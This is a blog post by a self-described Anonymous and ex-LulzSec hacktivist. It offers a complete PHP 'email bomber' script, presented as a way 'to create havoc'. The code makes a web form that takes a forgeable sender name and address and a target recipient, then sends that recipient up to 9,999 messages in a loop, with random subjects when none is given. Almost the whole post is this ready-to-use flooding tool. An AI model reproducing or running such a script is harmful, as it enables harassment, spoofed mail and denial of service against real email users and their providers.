Posted on

The Infamous Email Bomber

Greetings Fellow Anons!

For decades, hackers and crackers internationally have been using the email bomber program to create havoc. That is just what the antisec movement needs. I have written a php version of it, enjoy! Stay strong. 

<?php
 

// Remember, you must add in any filtration
// functions yourself, such as the famous
// mysql_real_escape_string(); or even
// htmlentities(); or a custom function...
 
$f_name = isset($_POST['f_name']) ? $_POST['f_name'] : "";
$f_email = isset($_POST['f_email']) ? $_POST['f_email'] : "";
 
$r_email = isset($_POST['r_email']) ? $_POST['r_email'] : "";
 
$subject = isset($_POST['subject']) ? $_POST['subject'] : "";
$message = isset($_POST['message']) ? $_POST['message'] : "";
 
$number = isset($_POST['number']) ? preg_replace('/\..*/', '', $_POST['number']) : "";
 
$header = "From: ".$f_name." <".$f_email.">\n";
$header .= "Reply-To: ".$f_email."\n";
 
echo "<center>\n";
 
if ($f_name != "" || $f_email != "" || $r_email != "" || $subject != "" || $message != "" || $number != "") {
        $errors = "";
 
        if (strlen($f_name) > 40) {
                $errors .= "Your name must be 40 characters or less.<br />\n";
        }
 
        if ($f_email == "") {
                $errors .= "You must enter a sender email address.<br />\n";
        } else {
                if (!preg_match("/^[-0-9A-Z_.]{1,50}@([-0-9A-Z_.]+.){1,50}([0-9A-Z]){2,4}$/i", $f_email)) {
                        $errors .= "You must enter a valid sender email address.<br />\n";
                }
        }
 
        if (strlen($f_email) > 60) {
                $errors .= "Your email must be 60 characters or less.<br />\n";
        }
 
        if ($r_email == "") {
                $errors .= "You must enter a recipient email address.<br />\n";
        } else {
                if (!preg_match("/^[-0-9A-Z_.]{1,50}@([-0-9A-Z_.]+.){1,50}([0-9A-Z]){2,4}$/i", $r_email)) {
                        $errors .= "You must enter a valid recipient email address.<br />\n";
                }
        }
 
        if (strlen($r_email) > 60) {
                $errors .= "The recipient email must be 60 characters or less.<br />\n";
        }
 
        if (strlen($subject) > 40) {
                $errors .= "The subject must be 40 characters or less.<br />\n";
        }
 
        if ($message == "") {
                $errors .= "You must enter a message to send.<br />\n";
        }
 
        if ($number == "") {
                $errors .= "You must enter a number of messages to send.<br />\n";
        } else {
                if ($number < 2) {
                        $errors .= "You must enter a number greater than 1.<br />\n";
                } elseif ($number > 9999) {
                        $errors .= "You must enter a number less than 10000.<br />\n";
                }
        }
 
        if ($errors == "") {
                if ($subject == "") {
                        for($i=1; $i <= $number; $i++){
                                mail($r_email, substr(md5(rand(1, 100)), 0, 5), $message, $header);
                        }
                } else {
                        for($i=1; $i <= $number; $i++){
                                mail($r_email, $subject, $message, $header);
                        }
                }
 
                echo $number." messages have been sent to ".$r_email." successfully.<br />\n<a href='nojavascript...history.go(-1);' title='Start Another Mail Bomb'>Start Another Mail Bomb</a><br />\n";
        } else {
                echo "<span style='color: red;'>n".$errors."</span>\n<a href='nojavascript...history.go(-1);' title='Try Again'>Please Try Again</a><br />\n";
        }
} else {
        echo "* Denotes a required field.<br /><br />nNote that leaving a subject blank<br />nwill generate a random subject<br />nfor every new message.<br /><br />\n";
        echo "<table cellspacing='2' cellpadding='2'>\n";
        echo "<form action='' method='post'>\n";
        echo "<tr>\n";
        echo "<td>Your Name:</td>\n";
        echo "<td><input type='text' name='f_name' size='50' maxlength='40' /></td>\n";
        echo "</tr>\n<tr>\n";
        echo "<td>Your Email: *</td>\n";
        echo "<td><input type='text' name='f_email' size='50' maxlength='60' /></td>\n";
        echo "</tr>\n<tr>\n";
        echo "<td>Recipient Email: *</td>\n";
        echo "<td><input type='text' name='r_email' size='50' maxlength='60' /></td>\n";
        echo "</tr>\n<tr>\n";
        echo "<td>Subject:</td>\n";
        echo "<td><input type='text' name='subject' size='50' maxlength='40' /></td>\n";
        echo "</tr>\n<tr>\n";
        echo "<td>Message: *</td>\n";
        echo "<td><textarea name='message' rows='5' cols='50'></textarea></td>\n";
        echo "</tr>\n<tr>\n";
        echo "<td>Number Of Messages: *</td>\n";
        echo "<td><input type='text' name='number' size='4' maxlength='4' /></td>\n";
        echo "</tr>\n<tr>\n";
        echo "<td></td>\n";
        echo "<td><input type='submit' value='Start Mail Bomb' /></td>\n";
        echo "</tr>\n";
        echo "</form>\n";
        echo "</table>\n";
}
 
echo "</center>\n";
 
?>
Advertisements

About theroyalanon

A computer geek, software engineer, and Internet activist. This is my podium by which I taunt the general populace into rebellion. Retired from LulzSec, and supporting Anonymous.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s